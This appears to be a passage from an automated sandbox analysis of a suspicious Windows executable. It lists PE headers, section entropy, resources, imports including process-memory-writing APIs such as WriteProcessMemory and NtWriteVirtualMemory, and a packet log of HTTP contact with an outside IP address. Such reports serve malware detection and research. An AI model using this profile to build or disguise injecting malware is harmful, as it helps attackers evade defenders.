                                  File Content Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

                                  File Icon

                                  Icon Hash:71e191928686b3a5

                                  Static PE Info

                                  General

                                  Entrypoint:0x489900
                                  Entrypoint Section:.itext
                                  Digitally signed:false
                                  Imagebase:0x400000
                                  Subsystem:windows gui
                                  Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                                  DLL Characteristics:
                                  Time Stamp:0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
                                  TLS Callbacks:
                                  CLR (.Net) Version:
                                  OS Version Major:4
                                  OS Version Minor:0
                                  File Version Major:4
                                  File Version Minor:0
                                  Subsystem Version Major:4
                                  Subsystem Version Minor:0
                                  Import Hash:beefa6546dd4570bf21020f1082d8b97

                                  Entrypoint Preview

                                  Instruction
                                  push ebp
                                  mov ebp, esp
                                  add esp, FFFFFFF0h
                                  mov eax, 00488360h
                                  call 00007FC438DF3901h
                                  mov eax, dword ptr [0050EDBCh]
                                  mov eax, dword ptr [eax]
                                  push eax
                                  mov eax, dword ptr [0050EDD0h]
                                  mov eax, dword ptr [eax]
                                  push eax
                                  mov eax, dword ptr [0050ECBCh]
                                  mov eax, dword ptr [eax]
                                  push eax
                                  mov eax, dword ptr [005117FCh]
                                  push eax
                                  call 00007FC438E74F72h
                                  call 00007FC438DF147Dh
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al

                                  Data Directories

                                  NameVirtual AddressVirtual Size Is in Section
                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x1130000x2e72.idata
                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x1220000x15e00.rsrc
                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x1180000x9340.reloc
                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                  IMAGE_DIRECTORY_ENTRY_TLS0x1170000x18.rdata
                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_IAT0x1139200x72c.idata
                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                  Sections

                                  NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                  .text0x10000x876200x87800False0.5196807973939115data6.548203907656841IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                  .itext0x890000x9380xa00False0.58359375data6.10757289766183IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                  .data0x8a0000x84fd40x85000False0.344478750587406data4.487974311252079IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .bss0x10f0000x38840x0False0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .idata0x1130000x2e720x3000False0.3133951822916667data4.995784798933046IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .tls0x1160000x400x0False0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .rdata0x1170000x180x200False0.05078125data0.2108262677871819IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                  .reloc0x1180000x93400x9400False0.6007970861486487data6.675728362695167IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
                                  .rsrc0x1220000x15e000x15e00False0.14052455357142857data3.8426006120251004IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                  Resources

                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                  RT_CURSOR0x12333c0x134Targa image data - Map 64 x 65536 x 1 +32 "\001"EnglishUnited States0.38636363636363635
                                  RT_CURSOR0x1234700x134dataEnglishUnited States0.4642857142857143
                                  RT_CURSOR0x1235a40x134dataEnglishUnited States0.4805194805194805
                                  RT_CURSOR0x1236d80x134dataEnglishUnited States0.38311688311688313
                                  RT_CURSOR0x12380c0x134dataEnglishUnited States0.36038961038961037
                                  RT_CURSOR0x1239400x134dataEnglishUnited States0.4090909090909091
                                  RT_CURSOR0x123a740x134Targa image data - RGB 64 x 65536 x 1 +32 "\001"EnglishUnited States0.4967532467532468
                                  RT_BITMAP0x123ba80x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.43103448275862066
                                  RT_BITMAP0x123d780x1e4Device independent bitmap graphic, 36 x 19 x 4, image size 380EnglishUnited States0.46487603305785125
                                  RT_BITMAP0x123f5c0x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.43103448275862066
                                  RT_BITMAP0x12412c0x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.39870689655172414
                                  RT_BITMAP0x1242fc0x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.4245689655172414
                                  RT_BITMAP0x1244cc0x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.5021551724137931
                                  RT_BITMAP0x12469c0x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.5064655172413793
                                  RT_BITMAP0x12486c0x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.39655172413793105
                                  RT_BITMAP0x124a3c0x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.5344827586206896
                                  RT_BITMAP0x124c0c0x1d0Device independent bitmap graphic, 36 x 18 x 4, image size 360EnglishUnited States0.39655172413793105
                                  RT_BITMAP0x124ddc0x128Device independent bitmap graphic, 21 x 16 x 4, image size 192EnglishUnited States0.39864864864864863
                                  RT_BITMAP0x124f040x128Device independent bitmap graphic, 19 x 16 x 4, image size 192EnglishUnited States0.3885135135135135
                                  RT_BITMAP0x12502c0x128Device independent bitmap graphic, 21 x 16 x 4, image size 192EnglishUnited States0.3885135135135135
                                  RT_BITMAP0x1251540xe8Device independent bitmap graphic, 13 x 16 x 4, image size 128EnglishUnited States0.36637931034482757
                                  RT_BITMAP0x12523c0x128Device independent bitmap graphic, 17 x 16 x 4, image size 192EnglishUnited States0.3614864864864865
                                  RT_BITMAP0x1253640x128Device independent bitmap graphic, 20 x 16 x 4, image size 192EnglishUnited States0.3783783783783784
                                  RT_BITMAP0x12548c0xd0Device independent bitmap graphic, 13 x 13 x 4, image size 104EnglishUnited States0.49038461538461536
                                  RT_BITMAP0x12555c0x128Device independent bitmap graphic, 21 x 16 x 4, image size 192EnglishUnited States0.3716216216216216
                                  RT_BITMAP0x1256840x128Device independent bitmap graphic, 17 x 16 x 4, image size 192EnglishUnited States0.2905405405405405
                                  RT_BITMAP0x1257ac0x128Device independent bitmap graphic, 21 x 16 x 4, image size 192EnglishUnited States0.38175675675675674
                                  RT_BITMAP0x1258d40x128Device independent bitmap graphic, 19 x 16 x 4, image size 192EnglishUnited States0.3783783783783784
                                  RT_BITMAP0x1259fc0x128Device independent bitmap graphic, 21 x 16 x 4, image size 192EnglishUnited States0.3783783783783784
                                  RT_BITMAP0x125b240xe8Device independent bitmap graphic, 12 x 16 x 4, image size 128EnglishUnited States0.3620689655172414
                                  RT_BITMAP0x125c0c0x128Device independent bitmap graphic, 17 x 16 x 4, image size 192EnglishUnited States0.3581081081081081
                                  RT_BITMAP0x125d340x128Device independent bitmap graphic, 20 x 16 x 4, image size 192EnglishUnited States0.375
                                  RT_BITMAP0x125e5c0xd0Device independent bitmap graphic, 13 x 13 x 4, image size 104EnglishUnited States0.47115384615384615
                                  RT_BITMAP0x125f2c0x128Device independent bitmap graphic, 21 x 16 x 4, image size 192EnglishUnited States0.36824324324324326
                                  RT_BITMAP0x1260540x128Device independent bitmap graphic, 17 x 16 x 4, image size 192EnglishUnited States0.28716216216216217
                                  RT_BITMAP0x12617c0x128Device independent bitmap graphic, 21 x 16 x 4, image size 192EnglishUnited States0.3885135135135135
                                  RT_BITMAP0x1262a40x128Device independent bitmap graphic, 19 x 16 x 4, image size 192EnglishUnited States0.375
                                  RT_BITMAP0x1263cc0x128Device independent bitmap graphic, 21 x 16 x 4, image size 192EnglishUnited States0.375
                                  RT_BITMAP0x1264f40xe8Device independent bitmap graphic, 13 x 16 x 4, image size 128EnglishUnited States0.36637931034482757
                                  RT_BITMAP0x1265dc0x128Device independent bitmap graphic, 17 x 16 x 4, image size 192EnglishUnited States0.35135135135135137
                                  RT_BITMAP0x1267040x128Device independent bitmap graphic, 20 x 16 x 4, image size 192EnglishUnited States0.36486486486486486
                                  RT_BITMAP0x12682c0xd0Device independent bitmap graphic, 13 x 13 x 4, image size 104EnglishUnited States0.47115384615384615
                                  RT_BITMAP0x1268fc0x128Device independent bitmap graphic, 21 x 16 x 4, image size 192EnglishUnited States0.3581081081081081
                                  RT_BITMAP0x126a240x128Device independent bitmap graphic, 17 x 16 x 4, image size 192EnglishUnited States0.28716216216216217
                                  RT_BITMAP0x126b4c0xe8Device independent bitmap graphic, 16 x 16 x 4, image size 128EnglishUnited States0.4870689655172414
                                  RT_ICON0x126c340x1bc8Device independent bitmap graphic, 72 x 144 x 8, image size 5184, 256 important colors0.12570303712035996
                                  RT_ICON0x1287fc0x608Device independent bitmap graphic, 20 x 40 x 8, image size 400, 256 important colors0.23056994818652848
                                  RT_ICON0x128e040x5488Device independent bitmap graphic, 72 x 144 x 32, image size 216000.04953789279112754
                                  RT_ICON0x12e28c0x3a48Device independent bitmap graphic, 60 x 120 x 32, image size 148800.05630026809651475
                                  RT_ICON0x131cd40x1a68Device independent bitmap graphic, 40 x 80 x 32, image size 67200.08994082840236686
                                  RT_ICON0x13373c0x988Device independent bitmap graphic, 24 x 48 x 32, image size 24000.16639344262295083
                                  RT_ICON0x1340c40x6b8Device independent bitmap graphic, 20 x 40 x 32, image size 16800.19883720930232557
                                  RT_ICON0x13477c0x468Device independent bitmap graphic, 16 x 32 x 32, image size 10880.18882978723404256
                                  RT_DIALOG0x134be40x52data0.7682926829268293
                                  RT_DIALOG0x134c380x52data0.7560975609756098
                                  RT_STRING0x134c8c0x27cdata0.4748427672955975
                                  RT_STRING0x134f080x3ecdata0.4213147410358566
                                  RT_STRING0x1352f40x4c8data0.38480392156862747
                                  RT_STRING0x1357bc0x9cdata0.717948717948718
                                  RT_STRING0x1358580xecdata0.6271186440677966
                                  RT_STRING0x1359440x1a4data0.5357142857142857
                                  RT_STRING0x135ae80x43cdata0.38468634686346864
                                  RT_STRING0x135f240x348data0.4119047619047619
                                  RT_STRING0x13626c0x370data0.34545454545454546
                                  RT_STRING0x1365dc0x390data0.40789473684210525
                                  RT_STRING0x13696c0xd0data0.5721153846153846
                                  RT_STRING0x136a3c0xa0data0.65
                                  RT_STRING0x136adc0x2b8data0.4540229885057471
                                  RT_STRING0x136d940x474data0.29385964912280704
                                  RT_STRING0x1372080x38cdata0.3876651982378855
                                  RT_STRING0x1375940x2b4data0.42052023121387283
                                  RT_RCDATA0x1378480x10data1.5
                                  RT_RCDATA0x1378580x398data0.6945652173913044
                                  RT_GROUP_CURSOR0x137bf00x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.25
                                  RT_GROUP_CURSOR0x137c040x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.25
                                  RT_GROUP_CURSOR0x137c180x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.3
                                  RT_GROUP_CURSOR0x137c2c0x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.3
                                  RT_GROUP_CURSOR0x137c400x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.3
                                  RT_GROUP_CURSOR0x137c540x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.3
                                  RT_GROUP_CURSOR0x137c680x14Lotus unknown worksheet or configuration, revision 0x1EnglishUnited States1.3
                                  RT_GROUP_ICON0x137c7c0x76data0.7542372881355932

                                  Imports

                                  DLLImport
                                  oleaut32.dllSysFreeString, SysReAllocStringLen, SysAllocStringLen
                                  advapi32.dllRegQueryValueExA, RegOpenKeyExA, RegCloseKey
                                  user32.dllGetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
                                  kernel32.dllGetACP, Sleep, VirtualFree, VirtualAlloc, GetTickCount, QueryPerformanceCounter, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
                                  kernel32.dllTlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
                                  user32.dllCreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, ShowCaret, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OpenClipboard, OffsetRect, OemToCharA, NotifyWinEvent, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsMenu, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, HideCaret, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextA, DrawStateA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, CloseClipboard, ClientToScreen, CheckMenuItem, CharNextW, ChangeDisplaySettingsA, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
                                  opengl32.dllwglMakeCurrent, wglDeleteContext
                                  gdi32.dllUnrealizeObject, SwapBuffers, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, Polygon, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
                                  version.dllVerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
                                  kernel32.dlllstrcpyA, WriteProcessMemory, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtectEx, VirtualProtect, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryExA, LoadLibraryA, LeaveCriticalSection, IsBadReadPtr, InitializeCriticalSection, GlobalUnlock, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleW, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileAttributesA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteFileA, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
                                  advapi32.dllRegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
                                  glu32.dllgluDisk, gluCylinder
                                  opengl32.dllglVertex3f, glTranslatef, glRotatef, glPushMatrix, glPopMatrix, glPolygonMode, glNormal3f, glLoadIdentity, glEnd, glEnable, glDisable, glColor3f, glClear, glCallList, glBegin
                                  oleaut32.dllGetErrorInfo, VariantInit, SysFreeString
                                  ole32.dllCoUninitialize, CoInitialize
                                  kernel32.dllSleep
                                  oleaut32.dllSafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
                                  comctl32.dll_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
                                  ntdllNtAllocateVirtualMemory
                                  oleacc.dllLresultFromObject
                                  winmm.dllsndPlaySoundA
                                  advapi32GetTokenInformation
                                  ntdllNtWriteVirtualMemory, NtProtectVirtualMemory
                                  uRLTelnetProtocolHandler

                                  Possible Origin

                                  Language of compilation systemCountry where language is spokenMap
                                  EnglishUnited States

                                  Network Behavior

                                  Network Port Distribution

                                  TCP Packets

                                  TimestampSource PortDest PortSource IPDest IP
                                  Sep 5, 2023 22:20:41.968466043 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.194540977 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.194904089 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.195539951 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.421448946 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.421928883 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.422004938 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.422024012 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.422048092 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.422068119 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.422086954 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.422105074 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.422123909 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.422122955 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.422142982 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.422166109 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.422173977 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.422174931 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.422228098 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.648080111 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648175955 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648250103 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648308992 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648319960 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.648369074 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648379087 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.648431063 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648492098 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648504019 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.648552895 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648613930 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648619890 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.648678064 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648740053 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.648741007 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648802996 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648865938 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.648869038 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648931026 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648992062 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.648997068 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.649055004 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.649111032 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.649152040 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.649173021 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.649241924 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.649245024 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.649327040 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.649411917 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.875397921 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.875504971 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.875556946 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.875603914 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.875649929 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.875694036 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.875739098 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.875782967 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.875825882 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.875869989 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.875912905 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.875924110 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.875956059 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.876000881 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.876045942 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.876051903 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.876091957 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.876135111 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.876163006 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.876178026 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.876224995 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.876235008 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.876271009 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.876306057 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.876316071 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.876359940 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.876405954 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.876418114 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:42.876451969 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:42.876485109 CEST4970680192.168.2.481.161.229.9
